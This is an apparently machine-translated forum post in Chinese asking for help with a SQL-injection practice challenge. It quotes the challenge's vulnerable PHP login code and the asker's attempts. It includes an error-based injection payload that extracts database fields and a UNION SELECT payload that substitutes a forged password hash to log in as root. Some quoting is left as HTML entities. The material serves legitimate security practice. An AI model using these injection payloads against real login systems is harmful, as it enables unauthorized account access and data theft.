我一直在练习与安全相关的科目,这个挑战让我感到困惑。注意:我无法访问任何PHP源代码,也无法编辑它。我只能查看它。
以下是:
我有两个输入,"用户"并且"通过" 表格发送30次后,盐,哈希和最终溶液发生变化。所以暴力不是一个选择(可悲的是!) @页面的底部(由于某种原因未在代码中显示),它回应它找到了9个用户(调用getnumberofusers()函数) 我设法提取了这个:
username = root
hashed password = 551e18b35e17017742a8ce4ed27f626e
Token (possibly salt?) = 0St31ez14wOT6jTh
到目前为止我尝试的结果不成功:
使用SQL注入,选择一个已知的MD5冲突作为密码,并将其对应物发送为"传递",但是盐正在困扰这个过程。显然,我无法强迫这一点,因为在30次尝试之后,盐会发生变化。 我尝试找到整个用户列表,但它没有在任何地方打印输出(只有错误) 这是我们收到的代码:
<?php
//by Mawekl
//Objective: login as root.
//Objective is NOT:
// - Blind SQLI
// - Bruteforce password/salt/id
#WARNING
#ANTI-BLIND
#for every 30 queries
#all hashes, salt
#and final solution
#will be reset.
function getnumberofusers()
{
$q = "SELECT 1 FROM `sqlinjection1`";
$r = mysql_query($q);
return 'Number of users: ' . mysql_num_rows($r);
}
function getinfo($user)
{
$q = "SELECT `id`, `password` FROM `sqlinjection1` WHERE `username`='$user'";
$r = mysql_query($q);
if(!$r)
return mysql_error();
$r = mysql_fetch_array($r);
if(!$r)
return "Username doesn't exists.";
return $r;
}
function getfullinfo($id)
{
$q = "SELECT * FROM `sqlinjection1` WHERE `id`=$id";
$r = mysql_query($q);
if(!$r)
return mysql_error();
$r = mysql_fetch_array($r);
if(!$r)
return "What the hell?!";
return $r;
}
function confirmpassword($pass, $passcorrect, $salt)
{
$pass = md5(md5(md5($pass)).$salt);
return $pass===$passcorrect;
}
function challenge($user, $pass)
{
$info = getinfo($user);
if(!is_array($info))
return $info;
$confirm = confirmpassword($pass, $info['password'], $_ENV['ST_SALT']);
if(!$confirm)
return 'Wrong password!';
$info = getfullinfo($info['id']);
if(!is_array($info))
return $info;
$returnmessage = "Welcome " . $info['username'] . "!" . PHP_EOL .
$info['welcomemessage'] . PHP_EOL;
return $returnmessage;
}
?>
任何帮助都表示赞赏,如果您有任何问题,我很乐意澄清我的问题!
现在我们可以使用sql选择欢迎消息/其他任何内容 $用户=&#34; 1&#39;或exp(〜(select * from(从sqlinjection1中选择welcomemessage,其中username =&#39; user1&#39;)a))或&#39; 1&#39; =&#39; 1&#34; 但是当我们发现一个秘密令牌(我写在那里^)隐藏在数据库中并尝试使用它时:
想法:使用SQL注入选择散列版本为password
,以便散列匹配。
以下是代码:
<?php
$salt = "v5IftFb0Tx1Jhp4b";
$hashed = "";
$p = "hello";
$hashed = md5(md5(md5($p)).$salt);
echo "The Query: " . "' AND 1 = 0 UNION SELECT `id`, '$hashed' AS `password` FROM sqlinjection1 WHERE `username` = 'root';#";
?>
它回应了我们在&#34;用户名&#34;中添加的查询。领域。在&#34;密码&#34;我们进入的领域&#34;你好&#34;。
然而它不起作用......
但它不起作用,任何人都知道我们还能做些什么?我们怎样才能找出/修改$ _ENV [&#34; ST_SALT&#34;]?显然它不是我们发现的秘密标记